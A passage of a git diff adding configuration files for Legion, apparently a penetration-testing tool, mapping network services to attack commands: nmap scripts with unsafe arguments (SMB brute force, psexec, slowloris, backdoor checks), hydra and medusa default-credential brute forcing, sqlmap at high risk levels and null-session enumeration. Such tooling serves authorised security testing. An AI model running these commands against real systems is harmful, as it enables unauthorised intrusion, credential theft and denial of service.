--script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +snmp-default=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="T:30000-65534,65535" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/usr/bin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/backup/20190301142846448395-legion.conf b/backup/20190301142846448395-legion.conf new file mode 100644 index 00000000..66374fd0 --- /dev/null +++ b/backup/20190301142846448395-legion.conf @@ -0,0 +1,318 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" +process-tab-detail=False + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn 